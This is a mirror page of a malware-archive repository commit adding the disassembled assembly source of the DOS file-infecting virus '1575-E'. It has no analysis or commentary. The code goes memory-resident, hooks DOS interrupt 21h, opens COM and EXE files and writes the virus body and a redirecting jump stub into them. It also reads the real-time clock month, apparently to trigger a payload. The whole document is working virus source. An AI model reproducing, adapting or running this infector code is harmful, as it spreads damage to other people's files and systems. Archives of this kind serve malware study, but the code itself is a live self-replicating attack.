mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,983 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ 1575-E ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 23-May-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 6
|
||||
data_2e equ 84h
|
||||
data_3e equ 86h
|
||||
data_4e equ 100h
|
||||
data_10e equ 31Fh
|
||||
data_12e equ 0 ;*
|
||||
data_13e equ 3 ;*
|
||||
data_14e equ 12h ;*
|
||||
data_15e equ 0
|
||||
data_55e equ 0FA0h
|
||||
data_56e equ 6B0h
|
||||
data_57e equ 725h
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
1575-e proc far
|
||||
|
||||
start:
|
||||
jmp short loc_4
|
||||
db 90h
|
||||
data_17 dw 0B2Bh, 103Eh
|
||||
data_19 dw 0FF53h
|
||||
data_20 dw 0F000h
|
||||
data_21 db 0B4h
|
||||
db 2
|
||||
data_22 dw 2AB2h
|
||||
data_23 dw 21CDh
|
||||
db 0CDh, 20h
|
||||
data_24 dw 0E5h
|
||||
db 3Dh, 02h,0FFh,0FFh
|
||||
data_25 dw 50Fh
|
||||
data_26 dw 100h
|
||||
db 26h,0D9h
|
||||
data_27 dw 100h
|
||||
data_28 dw 50Fh
|
||||
data_29 dw 480h
|
||||
data_30 dw 0
|
||||
data_31 dw 0
|
||||
data_32 dw 53F0h
|
||||
data_33 dw 5
|
||||
data_34 dw 648Ch
|
||||
data_35 dw 789Fh
|
||||
data_36 dw 480h
|
||||
data_37 dw 0BD1h
|
||||
data_38 dw 1213h
|
||||
data_39 dw 0EA2h
|
||||
data_40 dw 5BFh
|
||||
data_41 db 4Dh
|
||||
data_42 db 31h
|
||||
db 68h, 7Dh, 02h,0FBh, 07h
|
||||
db 70h, 00h
|
||||
|
||||
loc_ret_2:
|
||||
retn
|
||||
db 0E2h, 00h
|
||||
db 0F0h,0FBh, 07h, 70h, 00h
|
||||
loc_4:
|
||||
push es
|
||||
push ds
|
||||
mov ax,es
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov data_38,ax
|
||||
mov ax,ss
|
||||
mov data_33,ax
|
||||
std ; Set direction flag
|
||||
mov ax,7076h
|
||||
cld ; Clear direction
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
xor si,si ; Zero register
|
||||
mov di,offset data_42
|
||||
mov cx,10h
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
push ds
|
||||
pop ss
|
||||
mov bp,8
|
||||
xchg bp,sp
|
||||
call sub_2
|
||||
jmp loc_27
|
||||
loc_5:
|
||||
call sub_13
|
||||
call sub_3
|
||||
jz loc_6 ; Jump if zero
|
||||
mov al,data_53
|
||||
push ax
|
||||
call sub_4
|
||||
pop ax
|
||||
mov data_53,al
|
||||
jmp short loc_7
|
||||
db 90h
|
||||
loc_6:
|
||||
call sub_6
|
||||
call sub_7
|
||||
cmp byte ptr data_53,0
|
||||
jne loc_7 ; Jump if not equal
|
||||
mov ax,4C00h
|
||||
int 21h ; DOS Services ah=function 4Ch
|
||||
; terminate with al=return code
|
||||
loc_7:
|
||||
cmp byte ptr data_53,43h ; 'C'
|
||||
jne loc_10 ; Jump if not equal
|
||||
loc_8:
|
||||
pop ds
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
push es
|
||||
mov di,data_4e
|
||||
mov si,offset data_21
|
||||
mov cx,0Ch
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
push es
|
||||
pop ds
|
||||
mov ax,100h
|
||||
push ax
|
||||
xor ax,ax ; Zero register
|
||||
retf ; Return far
|
||||
|
||||
1575-e endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
mov si,data_1e
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,192h
|
||||
je loc_8 ; Jump if equal
|
||||
cmp ax,179h
|
||||
jne loc_9 ; Jump if not equal
|
||||
jmp loc_12
|
||||
loc_9:
|
||||
cmp ax,1DCh
|
||||
je loc_10 ; Jump if equal
|
||||
retn
|
||||
loc_10:
|
||||
pop ds
|
||||
pop es
|
||||
mov bx,cs:data_25
|
||||
sub bx,cs:data_36
|
||||
mov ax,cs
|
||||
sub ax,bx
|
||||
mov ss,ax
|
||||
mov bp,cs:data_37
|
||||
xchg bp,sp
|
||||
mov bx,cs:data_28
|
||||
sub bx,cs:data_29
|
||||
mov ax,cs
|
||||
sub ax,bx
|
||||
push ax
|
||||
mov ax,cs:data_30
|
||||
push ax
|
||||
retf ; Return far
|
||||
data_43 db 23h
|
||||
db 1Ah
|
||||
db '<#/--!.$'
|
||||
db 0Eh, 23h, 2Fh, 2Dh,0E0h
|
||||
data_44 db 'A:MIO.COM', 0
|
||||
db 58h, 45h, 00h, 00h, 00h
|
||||
db 24h, 24h, 24h, 24h, 24h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_3:
|
||||
mov ax,3D02h
|
||||
mov dx,offset data_44 ; ('A:MIO.COM')
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jnc loc_11 ; Jump if carry=0
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_11:
|
||||
mov data_33,ax
|
||||
mov dx,offset int_24h_entry
|
||||
mov ax,2524h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
mov ax,4202h
|
||||
mov bx,data_33
|
||||
mov cx,0FFFFh
|
||||
mov dx,0FFFEh
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov dx,offset data_45
|
||||
mov ah,3Fh ; '?'
|
||||
mov bx,data_33
|
||||
mov cx,2
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
push ds
|
||||
mov dx,data_40
|
||||
mov ax,data_39
|
||||
mov ds,ax
|
||||
mov ax,2524h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
pop ds
|
||||
cmp data_45,0A0Ch
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
data_45 dw 20CDh
|
||||
loc_12:
|
||||
cmp ax,22Dh
|
||||
je loc_13 ; Jump if equal
|
||||
push ds
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,data_33
|
||||
mov ss,ax
|
||||
xchg bp,sp
|
||||
mov si,offset data_42
|
||||
mov di,data_15e
|
||||
mov cx,10h
|
||||
cld ; Clear direction
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
jmp loc_5
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
loc_13:
|
||||
mov al,43h ; 'C'
|
||||
mov data_53,al
|
||||
mov al,8
|
||||
out 70h,al ; port 70h, RTC addr/enabl NMI
|
||||
; al = 8, month register
|
||||
in al,71h ; port 71h, RTC clock/RAM data
|
||||
mov data_41,al
|
||||
mov dx,offset data_44 ; ('A:MIO.COM')
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jnc loc_14 ; Jump if carry=0
|
||||
retn
|
||||
loc_14:
|
||||
mov data_33,ax
|
||||
mov dx,offset data_21
|
||||
mov bx,data_33
|
||||
mov cx,0Ch
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
push ax
|
||||
add ax,10h
|
||||
and ax,0FFF0h
|
||||
push ax
|
||||
shr ax,1 ; Shift w/zeros fill
|
||||
shr ax,1 ; Shift w/zeros fill
|
||||
shr ax,1 ; Shift w/zeros fill
|
||||
shr ax,1 ; Shift w/zeros fill
|
||||
mov di,data_10e
|
||||
stosw ; Store ax to es:[di]
|
||||
pop ax
|
||||
pop bx
|
||||
sub ax,bx
|
||||
mov cx,627h
|
||||
add cx,ax
|
||||
mov dx,100h
|
||||
sub dx,ax
|
||||
mov bx,data_33
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov ah,40h ; '@'
|
||||
mov bx,data_33
|
||||
mov cx,0Ch
|
||||
mov dx,offset data_46
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
mov bx,data_33
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
data_46 db 0Eh
|
||||
db 8Ch,0C8h, 05h, 01h, 00h, 50h
|
||||
db 0B8h, 00h, 01h, 50h,0CBh
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
mov al,45h ; 'E'
|
||||
mov data_53,al
|
||||
mov al,8
|
||||
out 70h,al ; port 70h, RTC addr/enabl NMI
|
||||
; al = 8, month register
|
||||
in al,71h ; port 71h, RTC clock/RAM data
|
||||
mov data_41,al
|
||||
mov dx,offset data_44 ; ('A:MIO.COM')
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jnc loc_15 ; Jump if carry=0
|
||||
retn
|
||||
loc_15:
|
||||
mov data_33,ax
|
||||
mov dx,offset data_21
|
||||
mov bx,data_33
|
||||
mov cx,18h
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
mov ax,4202h
|
||||
mov cx,0
|
||||
mov dx,0
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
push ax
|
||||
add ax,10h
|
||||
adc dx,0
|
||||
and ax,0FFF0h
|
||||
mov data_31,dx
|
||||
mov data_32,ax
|
||||
mov cx,727h
|
||||
sub cx,100h
|
||||
add ax,cx
|
||||
adc dx,0
|
||||
mov cx,200h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
inc ax
|
||||
mov data_23,ax
|
||||
mov data_22,dx
|
||||
mov ax,data_28
|
||||
mov data_29,ax
|
||||
mov ax,data_27
|
||||
mov data_30,ax
|
||||
mov ax,data_25
|
||||
mov data_36,ax
|
||||
mov ax,data_26
|
||||
mov data_37,ax
|
||||
mov dx,data_31
|
||||
mov ax,data_32
|
||||
mov cx,10h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
sub ax,10h
|
||||
sub ax,data_24
|
||||
mov data_28,ax
|
||||
mov data_25,ax
|
||||
mov data_27,100h
|
||||
mov data_26,100h
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
mov dx,2
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov dx,offset data_22
|
||||
mov bx,data_33
|
||||
mov cx,16h
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov dx,100h
|
||||
mov ax,data_32
|
||||
pop cx
|
||||
sub ax,cx
|
||||
sub dx,ax
|
||||
mov cx,727h
|
||||
add cx,ax
|
||||
sub cx,100h
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
push cx
|
||||
mov cx,0
|
||||
mov ah,4Eh ; 'N'
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
push es
|
||||
mov ax,351Ch
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov cs:data_19,bx
|
||||
mov cs:data_20,es
|
||||
mov ax,3521h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
push es
|
||||
pop ax
|
||||
mov word ptr cs:data_17+2,ax
|
||||
mov cs:data_17,bx
|
||||
pop es
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push ax
|
||||
push es
|
||||
push ds
|
||||
xor ax,ax ; Zero register
|
||||
mov es,ax
|
||||
mov si,data_3e
|
||||
mov ax,es:[si]
|
||||
mov ds,ax
|
||||
mov si,data_57e
|
||||
cmp word ptr [si],0A0Ch
|
||||
jne loc_16 ; Jump if not equal
|
||||
push ds
|
||||
pop ax
|
||||
call sub_14
|
||||
pop ds
|
||||
pop es
|
||||
pop ax
|
||||
retn
|
||||
loc_16:
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,data_38
|
||||
dec ax
|
||||
mov es,ax
|
||||
cmp byte ptr es:data_12e,5Ah ; 'Z'
|
||||
nop ;*ASM fixup - sign extn byte
|
||||
je loc_17 ; Jump if equal
|
||||
jmp short loc_18
|
||||
db 90h
|
||||
loc_17:
|
||||
mov ax,es:data_13e
|
||||
mov cx,737h
|
||||
shr cx,1 ; Shift w/zeros fill
|
||||
shr cx,1 ; Shift w/zeros fill
|
||||
shr cx,1 ; Shift w/zeros fill
|
||||
shr cx,1 ; Shift w/zeros fill
|
||||
sub ax,cx
|
||||
jc loc_18 ; Jump if carry Set
|
||||
mov es:data_13e,ax
|
||||
sub es:data_14e,cx
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,es:data_14e
|
||||
push ax
|
||||
pop es
|
||||
mov si,100h
|
||||
push si
|
||||
pop di
|
||||
mov cx,627h
|
||||
cld ; Clear direction
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
push es
|
||||
sub ax,ax
|
||||
mov es,ax
|
||||
mov si,data_2e
|
||||
mov dx,4A8h
|
||||
mov es:[si],dx
|
||||
inc si
|
||||
inc si
|
||||
pop ax
|
||||
mov es:[si],ax
|
||||
loc_18:
|
||||
pop ds
|
||||
pop es
|
||||
pop ax
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
cmp al,57h ; 'W'
|
||||
jne loc_19 ; Jump if not equal
|
||||
jmp short loc_22
|
||||
db 90h
|
||||
loc_19:
|
||||
cmp ah,1Ah
|
||||
jne loc_20 ; Jump if not equal
|
||||
call sub_12
|
||||
jmp short loc_22
|
||||
db 90h
|
||||
loc_20:
|
||||
cmp ah,11h
|
||||
jne loc_21 ; Jump if not equal
|
||||
call sub_8
|
||||
iret ; Interrupt return
|
||||
loc_21:
|
||||
cmp ah,12h
|
||||
jne loc_22 ; Jump if not equal
|
||||
call sub_11
|
||||
iret ; Interrupt return
|
||||
loc_22:
|
||||
jmp dword ptr cs:data_17
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
mov al,57h ; 'W'
|
||||
int 21h ; DOS Services ah=function 00h
|
||||
; terminate, cs=progm seg prefx
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
push bx
|
||||
push bp
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov byte ptr cs:data_47,0
|
||||
nop
|
||||
call sub_9
|
||||
jnz loc_23 ; Jump if not zero
|
||||
call sub_3
|
||||
jz loc_23 ; Jump if zero
|
||||
call sub_16
|
||||
dec data_47
|
||||
loc_23:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop bp
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
push cs
|
||||
pop es
|
||||
push cs
|
||||
pop es
|
||||
cld ; Clear direction
|
||||
call sub_10
|
||||
jnc loc_24 ; Jump if carry=0
|
||||
cmp di,0
|
||||
retn
|
||||
loc_24:
|
||||
mov di,offset data_44 ; ('A:MIO.COM')
|
||||
mov al,2Eh ; '.'
|
||||
mov cx,0Bh
|
||||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||||
cmp word ptr [di],4F43h
|
||||
jne loc_25 ; Jump if not equal
|
||||
cmp byte ptr [di+2],4Dh ; 'M'
|
||||
jne loc_25 ; Jump if not equal
|
||||
mov byte ptr data_53,43h ; 'C'
|
||||
nop
|
||||
retn
|
||||
loc_25:
|
||||
cmp word ptr [di],5845h
|
||||
jne loc_ret_26 ; Jump if not equal
|
||||
cmp byte ptr [di+2],45h ; 'E'
|
||||
jne loc_ret_26 ; Jump if not equal
|
||||
mov byte ptr data_53,45h ; 'E'
|
||||
nop
|
||||
|
||||
loc_ret_26:
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
loc_27:
|
||||
push ds
|
||||
mov si,cs:data_34
|
||||
mov ax,cs:data_35
|
||||
mov ds,ax
|
||||
mov di,offset data_44 ; ('A:MIO.COM')
|
||||
lodsb ; String [si] to al
|
||||
cmp al,0FFh
|
||||
jne loc_28 ; Jump if not equal
|
||||
add si,6
|
||||
lodsb ; String [si] to al
|
||||
jmp short loc_29
|
||||
db 90h
|
||||
loc_28:
|
||||
cmp al,5
|
||||
jb loc_29 ; Jump if below
|
||||
pop ds
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_29:
|
||||
mov cx,0Bh
|
||||
cmp al,0
|
||||
je locloop_30 ; Jump if equal
|
||||
add al,40h ; '@'
|
||||
stosb ; Store al to es:[di]
|
||||
mov al,3Ah ; ':'
|
||||
stosb ; Store al to es:[di]
|
||||
|
||||
locloop_30:
|
||||
lodsb ; String [si] to al
|
||||
cmp al,20h ; ' '
|
||||
je loc_31 ; Jump if equal
|
||||
stosb ; Store al to es:[di]
|
||||
jmp short loc_32
|
||||
db 90h
|
||||
loc_31:
|
||||
cmp byte ptr es:[di-1],2Eh ; '.'
|
||||
je loc_32 ; Jump if equal
|
||||
mov al,2Eh ; '.'
|
||||
stosb ; Store al to es:[di]
|
||||
loc_32:
|
||||
loop locloop_30 ; Loop if cx > 0
|
||||
|
||||
mov al,0
|
||||
stosb ; Store al to es:[di]
|
||||
pop ds
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_11 proc near
|
||||
mov al,57h ; 'W'
|
||||
int 21h ; DOS Services ah=function 00h
|
||||
; terminate, cs=progm seg prefx
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
push bx
|
||||
push bp
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
cmp byte ptr cs:data_47,0
|
||||
je loc_33 ; Jump if equal
|
||||
jmp short loc_34
|
||||
db 90h
|
||||
loc_33:
|
||||
call sub_9
|
||||
jnz loc_34 ; Jump if not zero
|
||||
call sub_3
|
||||
jz loc_34 ; Jump if zero
|
||||
call sub_16
|
||||
dec data_47
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop bp
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
retn
|
||||
loc_34:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop bp
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
retn
|
||||
sub_11 endp
|
||||
|
||||
data_47 db 0
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_12 proc near
|
||||
push ax
|
||||
push ds
|
||||
pop ax
|
||||
mov cs:data_35,ax
|
||||
mov cs:data_34,dx
|
||||
pop ax
|
||||
retn
|
||||
sub_12 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_13 proc near
|
||||
push cs
|
||||
mov al,0
|
||||
out 20h,al ; port 20h, 8259-1 int command
|
||||
mov ax,3524h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov data_40,bx
|
||||
mov bx,es
|
||||
mov data_39,bx
|
||||
pop es
|
||||
mov si,offset data_43
|
||||
mov di,offset data_44 ; ('A:MIO.COM')
|
||||
mov cx,0Fh
|
||||
|
||||
locloop_35:
|
||||
lodsb ; String [si] to al
|
||||
add al,20h ; ' '
|
||||
stosb ; Store al to es:[di]
|
||||
loop locloop_35 ; Loop if cx > 0
|
||||
|
||||
retn
|
||||
sub_13 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_14 proc near
|
||||
push ax
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov bl,data_41
|
||||
cmp bl,0Ch
|
||||
ja loc_37 ; Jump if above
|
||||
cmp bl,0
|
||||
je loc_37 ; Jump if equal
|
||||
mov al,8
|
||||
out 70h,al ; port 70h, RTC addr/enabl NMI
|
||||
; al = 8, month register
|
||||
in al,71h ; port 71h, RTC clock/RAM data
|
||||
cmp al,0Ch
|
||||
ja loc_37 ; Jump if above
|
||||
cmp al,0
|
||||
je loc_37 ; Jump if equal
|
||||
cmp al,bl
|
||||
je loc_37 ; Jump if equal
|
||||
inc bl
|
||||
call sub_15
|
||||
cmp al,bl
|
||||
je loc_37 ; Jump if equal
|
||||
inc bl
|
||||
call sub_15
|
||||
cmp al,bl
|
||||
